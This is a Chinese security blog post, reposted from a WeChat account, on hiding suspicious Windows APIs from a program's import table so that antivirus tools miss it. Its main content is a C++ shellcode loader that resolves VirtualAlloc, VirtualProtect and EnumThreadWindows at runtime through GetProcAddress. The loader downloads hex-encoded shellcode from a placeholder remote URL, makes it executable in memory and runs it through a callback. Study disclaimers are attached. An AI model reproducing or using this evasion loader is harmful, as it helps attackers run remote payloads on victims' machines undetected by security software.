免杀之隐藏导入表

admin 2024年12月11日00:45:04评论25 views字数 2199阅读7分19秒阅读模式

免杀之隐藏导入表

杀毒软件扫描原理大体上可以分为三种:静态文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。
  • 静态文件扫描:根据文件的特征、哈希与数据库内的特征进行比对。
  • 内存扫描:内存特征扫描,比如说卡巴斯基。
  • 行为监测:流量、读写操作、创建进程、劫持、注入等行为。

导入地址表(IAT):Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中.当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。————来自百度百科

导出表和导入表两个词,导出表的功能是将自身的函数,类等资源供其它程序调用,提供这类功能的程序叫做动态链接库DLL。而导入表的功能是帮助程序调用DLL中的资源。
这个是上一篇文章编译的二进制文件,使用PEstudio查看:

免杀之隐藏导入表

在shell.exe文件的导入地址表中,代码中调用的api一览无遗,VirtualAlloc、VirtualProtect 这类函数是杀毒软件重点关注的对象PeStudio 有一个黑名单的清单。这些 Windows 中的 API 函数,它们本身不是恶意的,但可用于执行可能被视为恶意的函数。被标红的API函数就在PeStudio的黑名单清单中。可以通过下面的方法进行隐藏,这里我隐藏几个API进行举例子。
  • 尝试定义VirtualAlloc的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。

FARPROC GetProcAddress([in] HMODULE hModule,[in] LPCSTR  lpProcName);//如果函数成功,则返回值是导出的函数或变量的地址。//如果函数失败,则返回值为 NULL
  • GetProcAddress的具体解释可以参考微软的介绍 ,点击跳转 GetProcAddress自定义函数指针
typedef LPVOID(WINAPI* PointVirtualAlloc)(   LPVOID lpAddress,   SIZE_T dwSize,   DWORD  flAllocationType,   DWORD  flProtect  );然后定义函数指针来存放这些函数的地址
ImportVirtualAlloc PointVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
  • 接下来在代码中的函数换成自己定义的指针

int shell() {     PointVirtualAlloc AllocateMemorySpace = (PointVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");     PointVirtualProtect ChangeMemoryPermissions = (PointVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");     PointEnumThreadWindows accomplish = (PointEnumThreadWindows)GetProcAddress(GetModuleHandle(TEXT("user32.dll")), "EnumThreadWindows");    DWORD dwct; // 内存页属性    char b[b_SIZE] = { 0 };    char u[MAX_PATH] = "http://ip/你的shellcode.txt";    gettxt(u, b);    string tpf = b;    unsigned char* selc = (unsigned char*)calloc(strlen(b) / 2, sizeof(unsigned char));    for (int i = 0; i < tpf.size() / 4; ++i) {        selc[i] = std::strtoul(tpf.substr(i * 4 + 2, 2).c_str(), nullptr, 16);    }    //创建可读可写内存    LPVOID run = AllocateMemorySpace(NULL, strlen(b) / 2, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    if (run == NULL) { return 0; }    memcpy(run, selc, strlen(b) / 2);    //内存添加可执行权限    ChangeMemoryPermissions(run, strlen(b) / 2, PAGE_EXECUTE, &dwct);    accomplish(0, (WNDENUMPROC)run, NULL);}
  • 再次编译以后导入表中已经没有VirtualAlloc、EnumThreadWindows、VirtualProtect 这些函数了

免杀之隐藏导入表

  • 效果如图

免杀之隐藏导入表

免杀之隐藏导入表

*本文仅供参考学习,严禁用于其他用途,若造成不良影响的,由使用者本人承担一切后果。

免杀之隐藏导入表

原文始发于微信公众号(刑天攻防实验室):免杀之隐藏导入表

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月11日00:45:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀之隐藏导入表https://cn-sec.com/archives/1864588.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息